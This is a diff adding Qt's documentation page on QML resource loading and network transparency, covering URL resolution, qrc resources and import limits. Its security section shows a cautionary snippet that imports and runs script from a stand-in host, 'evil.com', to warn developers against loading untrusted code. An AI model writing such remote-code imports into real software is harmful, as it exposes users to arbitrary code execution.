diff options
Diffstat (limited to 'src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc')
-rw-r--r-- | src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc | 141 |
1 files changed, 141 insertions, 0 deletions
diff --git a/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc new file mode 100644 index 0000000000..ea46b3381e --- /dev/null +++ b/src/qml/doc/src/qmllanguageref/documents/networktransparency.qdoc @@ -0,0 +1,141 @@ +/**************************************************************************** +** +** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/legal +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and Digia. For licensing terms and +** conditions see http://qt.digia.com/licensing. For further information +** use the contact form at http://qt.digia.com/contact-us. +** +** GNU Free Documentation License Usage +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. Please review the following information to ensure +** the GNU Free Documentation License version 1.3 requirements +** will be met: http://www.gnu.org/copyleft/fdl.html. +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-documents-networktransparency.html +\title Resource Loading and Network Transparency +\brief about loading files and resources accross a network + +QML supports network transparency by using URLs (rather than file names) for all +references from a QML document to other content. This means that anywhere a URL source is expected, +QML can handle remote resources as well as local ones, for example in the following image source: + +\qml +Image { + source: "http://www.example.com/images/logo.png" +} +\endqml + +Since a \e relative URL is the same +as a relative file, development of QML on regular file systems remains simple: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +Network transparency is supported throughout QML, for example: + +\list +\li Fonts - the \c source property of FontLoader is a URL +\li WebViews - the \c url property of WebView (obviously!) +\endlist + +Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load +\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine +will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. +For example if the qmldir file contains the line "World World.qml", it will load +\tt http://example.com/mystuff/World.qml +Any other resources that \tt Hello.qml referred to, usually by a relative URL, would +similarly be loaded from the network. + + +\section1 Relative vs. Absolute URLs + +Whenever an object has a property of type URL (QUrl), assigning a string to that +property will actually assign an absolute URL - by resolving the string against +the URL of the document where the string is used. + +For example, consider this content in \tt{http://example.com/mystuff/test.qml}: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, +but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned +\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. + +If the string assigned to a URL is already an absolute URL, then "resolving" does +not change it and the URL is assigned directly. + + +\section1 QRC Resources + +One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into +the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content +that is compiled into the executable: + +\code + QQuickView *view = new QQuickView; + view->setUrl(QUrl("qrc:/dial.qml")); +\endcode + +The content itself can then use relative URLs, and so be transparently unaware that the content is +compiled into the executable. + + +\section1 Limitations + +The \c import statement is only network transparent if it has an "as" clause. + +More specifically: +\list +\li \c{import "dir"} only works on local file systems +\li \c{import libraryUri} only works on local file systems +\li \c{import "dir" as D} works network transparently +\li \c{import libraryUrl as U} works network transparently +\endlist + + +\section1 Implications for Application Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, QML application developers should not load +and execute arbitary JavaScript or QML resources. For example, consider the QML code below: + +\qml +import QtQuick 2.0 +import "http://evil.com/evil.js" as Evil + +Component { + onLoaded: Evil.doEvil() +} +\endqml + +This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine +will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content. + +As with any application accessing other content beyond its control, a QML application should +perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.} +*/ |